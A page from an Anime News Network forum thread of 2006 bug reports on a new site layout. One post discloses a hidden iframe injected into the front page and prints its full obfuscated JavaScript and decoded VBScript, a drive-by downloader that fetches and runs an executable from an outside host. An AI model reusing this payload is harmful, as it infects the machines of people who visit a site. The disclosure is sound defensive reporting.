×
  • remind me tomorrow
  • remind me next week
  • never remind me
Subscribe to the ANN Newsletter • Wake up every Sunday to a curated list of ANN's most interesting posts of the week. read more

Forum - View topic
New interface bug report [NO PERSONAL COMMENTS PLEASE]


Goto page Previous  1, 2, 3, 4, 5  Next
Anime News Network Forum Index -> Site-related -> Bugs & Technical Questions
View previous topic :: View next topic  
Author Message
Heike-sama



Joined: 12 Sep 2005
Posts: 4
PostPosted: Wed Dec 13, 2006 9:46 pm Reply with quote
Win 2k, Firefox 2.0

Its not a big thing, but...
Encyclopedia: Used links are no more shown in a different colour (cast-, stuff-, etc.-links, same with the alphabet-bar).
In the former vision, it made it easier for me to see, if one of my favorite voice actors are in an anime or not.
Back to top
View user's profile Send private message
bayoab



Joined: 06 Oct 2004
Posts: 831
PostPosted: Sat Dec 16, 2006 10:29 pm Reply with quote
Win2k, Mozilla 1.7.13

I have no idea if you will be able to find this but there is something specific to this new code that breaks Mozilla's "Find links on page". Within .5 seconds of activating Find on Page, (while it is still active), the page jumps back to the top and forces Find on Page to reset. This has already been partially fixed since on the first day after the upgrade, it wouldn't allow more than 1 character. Now it appears to allow 3 sometimes.

Example: Loading the encyclopedia and typing Goddess, it will do
"Link found g"
(Page jumps and resets)
"Link found o"
(Page jumps and resets)
Repeat...
It should result in:
"Link found: Goddess"
Back to top
View user's profile Send private message
abunai
Old Regular


Joined: 05 Mar 2004
Posts: 5463
Location: 露命
PostPosted: Sun Dec 17, 2006 1:09 pm Reply with quote
"Application error (Rails)"

Appears when I click on any feature link on the front page, or on the "Views" tab. Does not appear when I mouse-over Views and directly select (for instance) "Hey Answerman".

Win XP, Firefox 2.0

- abunai
Back to top
View user's profile Send private message Visit poster's website My Anime My Manga
Shiroi Hane
Encyclopedia Editor


Joined: 25 Oct 2003
Posts: 7584
Location: Wales
PostPosted: Mon Dec 18, 2006 1:34 pm Reply with quote
From animenewsnetwork.com/bbs/phpBB2/viewtopic.php?p=358780:

dormcat wrote:
The manga ratings link in the tab has a missing "s" -- should be "ratings-manga.php" instead of "rating-manga.php". Please fix it as soon as possible. The link in the Encyclopedia page is correct.

This is more of a technical problem, though.
Back to top
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger MSN Messenger ICQ Number My Anime My Manga
Ainaelle



Joined: 18 Dec 2006
Posts: 1
PostPosted: Mon Dec 18, 2006 11:13 pm Reply with quote
Hello,

First (and probably last) time poster here.

There's one security issue I'd like to bring to your attention. I never noticed it in the previous layout, so this is probably the right place to post about it. My apologies if it isn't, or the issue is known to you already.

Anyway, there's this strange iframe linked in the main page, just above the copyright notice:

Code:
<iframe src="http://www.ffxi-307.com/index.htm" width=0 height=0 frameborder=0></iframe>


It's invisible in the page, and only contains a piece of JavaScript. Here's the whole thing for your reference:

Code:
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Chtml%3E%0D%0A%20%3Cscript%20language%3D%22VBScript%22%3E
%0D%0A%20%20%20%20on%20error%20resume%20next%0D%0A%20%20%20%20%271%0D%0A
%20%20%20%20dl%20%3D%22http%3A%2F%2Fwww%2Effxi%2D307%2Ecom%2F1%2Eexe%22
%0D%0A%20%20%20%20%271%0D%0A%20%20%20%20Set%20df%20%3D%20document%2E
createElement%28%22object%22%29%0D%0A%20%20%20%20%271%0D%0A%20%20%20%20df
%2EsetAttribute%20%22classid%22%2C%20%22clsid%3ABD96C556%2D65A3%2D11D0
%2D983A%2D00C04FC29E36%22%0D%0A%20%20%20%20%271%0D%0A%20%20%20%20str%3D
%22Microsoft%2EXMLHTTP%22%0D%0A%20%20%20%20%271%0D%0A%20%20%20%20Set%20x
%20%3D%20df%2ECreateObject%28str%2C%22%22%29%0D%0A%20%20%20%20%271%0D%0A
%20%20%20%20a1%3D%22Adodb%2E%22%0D%0A%20%20%20%20a4%3D%22Stream%22%0D%0A
%20%20%20%20%271%0D%0A%20%20%20%20str1%3Da1%26a4%0D%0A%20%20%20%20str5%3D
str1%0D%0A%20%20%20%20%271%0D%0A%20%20%20%20set%20S%20%3D%20df%2Ecreateobject
%28str5%2C%22%22%29%0D%0A%20%20%20%20%271%0D%0A%20%20%20%20S%2Etype%20%3D
%201%0D%0A%20%20%20%20str6%3D%22GET%22%0D%0A%20%20%20%20%271%0D%0A%20%20
%20%20x%2EOpen%20str6%2C%20dl%2C%20False%0D%0A%20%20%20%20x%2ESend%0D%0A
%20%20%20%20%271%0D%0A%20%20%20%20fname1%3D%22userinit%2Eexe%22%0D%0A%20
%20%20%20%271%0D%0A%20%20%20%20set%20F%20%3D%20df%2Ecreateobject%28%22
Scripting%2EFileSystemObject%22%2C%22%22%29%0D%0A%20%20%20%20%271%0D%0A%20
%20%20%20set%20tmp%20%3D%20F%2EGetSpecialFolder%282%29%20%0D%0A%20%20%20
%20%271%0D%0A%20%20%20%20fname1%3D%20F%2EBuildPath%28tmp%2Cfname1%29%0D
%0A%20%20%20%20%271%0D%0A%20%20%20%20S%2Eopen%0D%0A%20%20%20%20%271%0D%0A
%20%20%20%20S%2Ewrite%20x%2EresponseBody%0D%0A%20%20%20%20%271%0D%0A%20%20
%20%20S%2Esavetofile%20fname1%2C2%0D%0A%20%20%20%20%271%0D%0A%20%20%20%20S
%2Eclose%0D%0A%20%20%20%20%271%0D%0A%20%20%20%20set%20Q%20%3D%20df%2E
createobject%28%22Shell%2EApplication%22%2C%22%22%29%0D%0A%20%20%20%20%272
%0D%0A%20%20%20%20Q%2EShellExecute%20fname1%2C%22%22%2C%22%22%0D%0A%20%20
%20%20%271%0D%0A%3C%2Fscript%3E%3C%2Fhtml%3E%0D%0A%0D%0A"

function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>


I made the "var Words ="" line into several shorter ones, because it was breaking the layout.

As you can see, it's quite obfuscated. But after unescaping the Words variable, things become clear even if you're no js guru (I sure am not):

Code:
<html>
 <script language="VBScript">
    on error resume next
    '1
    dl ="http://www.ffxi-307.com/1.exe"
    '1
    Set df = document.createElement("object")
    '1
    df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    '1
    str="Microsoft.XMLHTTP"
    '1
    Set x = df.CreateObject(str,"")
    '1
    a1="Adodb."
    a4="Stream"
    '1
    str1=a1&a4
    str5=str1
    '1
    set S = df.createobject(str5,"")
    '1
    S.type = 1
    str6="GET"
    '1
    x.Open str6, dl, False
    x.Send
    '1
    fname1="userinit.exe"
    '1
    set F = df.createobject("Scripting.FileSystemObject","")
    '1
    set tmp = F.GetSpecialFolder(2)
    '1
    fname1= F.BuildPath(tmp,fname1)
    '1
    S.open
    '1
    S.write x.responseBody
    '1
    S.savetofile fname1,2
    '1
    S.close
    '1
    set Q = df.createobject("Shell.Application","")
    '2
    Q.ShellExecute fname1,"",""
    '1
</script></html>


I can't be bothered to download and analyse the exe file, but I can bet users browsing ANN with Internet Explorer are having a bad day today.

The question is, where did this came from. Malicious ad would be an intuitive answer, but I'm using Firefox with AdBlock plus NoScript, and the placement of the iframe in the code is very suspicious.

Hope this helps. I don't expect to be checking this thread too often, so if you need to contact me, use PM for best results.

Best regards, and while I'm at it, thank you for all your work with ANN.


EDIT: Scan results of 1.exe from jotti:
Code:
AntiVir                 Found TR/Crypt.NSPM.Gen
ArcaVir                 Found nothing
Avast                   Found nothing
AVG Antivirus           Found nothing
BitDefender             Found nothing
ClamAV                  Found nothing
Dr.Web                  Found Trojan.PWS.Lineage
F-Prot Antivirus        Found nothing
F-Secure Anti-Virus     Found nothing
Fortinet                Found nothing
Kaspersky Anti-Virus    Found nothing
NOD32                   Found nothing
Norman Virus Control    Found nothing
VirusBuster             Found nothing
VBA32                   Found MalwareScope.Worm.Viking.4
Back to top
View user's profile Send private message My Anime
Dan42
Chief Encyclopedist


Joined: 02 Jan 2002
Posts: 3793
Location: Montreal
PostPosted: Tue Dec 19, 2006 7:09 pm Reply with quote
Thank you very much for warning me about this. It looks like one of our files was modified to include that iframe. I removed the iframe as soon as I saw that message, and then proceeded to tighten security and upgrade to rails 1.1.6

It seems rails 1.1.5 had a security vulnerability which may have allowed this exploit. I just hope that the upgrade prevents this kind of problem from recurring. :-/
Back to top
View user's profile Send private message Visit poster's website AIM Address My Anime My Manga
Shiroi Hane
Encyclopedia Editor


Joined: 25 Oct 2003
Posts: 7584
Location: Wales
PostPosted: Tue Dec 19, 2006 7:37 pm Reply with quote
Ah, so is that why the frontpage has been prompting me to install an activex control lately? (mentioned it in another thread but it's stopped now, so that was probably it)
Back to top
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger MSN Messenger ICQ Number My Anime My Manga
SnowfairyX



Joined: 29 Mar 2005
Posts: 438
PostPosted: Wed Dec 20, 2006 1:27 am Reply with quote
With the latest version of Internet Explorer, it seems like I'm unable to have the "public anime lists" load up properly. It seems to keep on freezing up on me and I have to end up closing IE. I tried it with Mozilla and it seems to work perfectly fine. Confused
Back to top
View user's profile Send private message My Anime My Manga
lewjay



Joined: 12 Dec 2006
Posts: 1
PostPosted: Thu Dec 21, 2006 1:53 am Reply with quote
Heike-sama wrote:
Win 2k, Firefox 2.0

Its not a big thing, but...
Encyclopedia: Used links are no more shown in a different colour (cast-, stuff-, etc.-links, same with the alphabet-bar).
In the former vision, it made it easier for me to see, if one of my favorite voice actors are in an anime or not.


Win XP Pro Sp2 IE 6.0.2900 / Firefox 2.0

Yeah, the visited links don't use another color anymore. I can overwrite the style in Firefox, but then that defeats the purpose of having this nice looking layout. Embarassed

Back to top
View user's profile Send private message
abunai
Old Regular


Joined: 05 Mar 2004
Posts: 5463
Location: 露命
PostPosted: Thu Dec 21, 2006 3:18 pm Reply with quote
abunai wrote:
"Application error (Rails)"

Appears when I click on any feature link on the front page, or on the "Views" tab. Does not appear when I mouse-over Views and directly select (for instance) "Hey Answerman".

Win XP, Firefox 2.0

- abunai


I'm still getting this, but the scope of the error has expanded -- it now occurs whenever I try to access any of the features, through whichever shortcut. Basically, I am now blissfully ignorant of anything contained in the latest features, whether Answerman or Buried Treasure or whatever.

- abunai
Back to top
View user's profile Send private message Visit poster's website My Anime My Manga
Raygi



Joined: 30 Aug 2006
Posts: 3
Location: Czech republic
PostPosted: Fri Dec 29, 2006 4:24 pm Reply with quote
"Application error (Rails)"

Same on Opera 9.10

Ans still have problem with "cut off" search window.[/quote]
Back to top
View user's profile Send private message My Anime My Manga
undeadben



Joined: 06 May 2006
Posts: 1212
Location: West Texas
PostPosted: Sat Dec 30, 2006 6:56 am Reply with quote
Windows XP SP2 Media center edition, with Firefox 2.0

Scrolling down My Anime list or any long public list:

http://img.photobucket.com/albums/v735/undeadben/annerror.jpg

Openning another window and then maximizing the same window:

http://img.photobucket.com/albums/v735/undeadben/annerror2.jpg

Bottom of the page:

http://img.photobucket.com/albums/v735/undeadben/annerror3.jpg

Does not occur in Internet Explorer. Have tried resetting Firefox, clearing cookies and history, and reinstalling Firefox. Error occurs on both ANN skins.


****Edit****
I reinstalled Firefox 2.0 again, this time I deleted all previous components before I re-installed it and it did fix the error. So it was my browser, but since I had to delete everything I don't know where the bug was.
Back to top
View user's profile Send private message AIM Address My Anime My Manga
d.yaro



Joined: 08 Feb 2006
Posts: 528
PostPosted: Sun Jan 07, 2007 4:14 am Reply with quote
Mac OSX 10.4.8 Mozilla 1.7

This is one of those weird ones...

Selected page: <Encyclopedia><People><M> (surnames)

The list of names is shown briefly and then the page finishes loading. At that point it looks like a blank section where the list of names ought to be but the links are there. When I pass my mouse over them the URL information is shown in the bottom left area of the status bar at the bottom of the browser window. For some odd reason I can only consistently replicate the problem with the surname "M" list. I have cleared browser cache and tried with different skins. Same result. Could not reproduce the problem with Safari 2.0.4. Personally, I'm leaning towards saying this is a browser bug.

Cropped screen capture

Edit: Changed from displayed image to URL link to image file.

Addendum to above problem report: The rightbar scrollbar tab will stop and the browser window will cease to respond/hang after having scrolled down to a point midway down the page (as seen here Hung scroll bar screen capture).

Last edited by d.yaro on Sun Jan 07, 2007 1:44 pm; edited 2 times in total
Back to top
View user's profile Send private message My Anime My Manga
dormcat
Encyclopedia Editor


Joined: 08 Dec 2003
Posts: 9902
Location: New Taipei City, Taiwan, ROC
PostPosted: Sun Jan 07, 2007 5:09 am Reply with quote
@ d.yaro: with your screencap larger than the designed size of the skin, part of your post was cropped out at right, and quote/report button are not visible either.

Screencap
Back to top
View user's profile Send private message Visit poster's website AIM Address Yahoo Messenger MSN Messenger ICQ Number My Anime My Manga
d.yaro



Joined: 08 Feb 2006
Posts: 528
PostPosted: Sun Jan 07, 2007 1:46 pm Reply with quote
dormcat wrote:
@ d.yaro: with your screencap larger than the designed size of the skin, part of your post was cropped out at right, and quote/report button are not visible either.

Screencap


Thank-you for pointing that out to me Dormcat. Original post has been edited and an addendum added.
Back to top
View user's profile Send private message My Anime My Manga
Display posts from previous:   
Reply to topic    Anime News Network Forum Index -> Site-related -> Bugs & Technical Questions All times are GMT - 5 Hours
Goto page Previous  1, 2, 3, 4, 5  Next
Page 3 of 5

 


Powered by phpBB © 2001, 2005 phpBB Group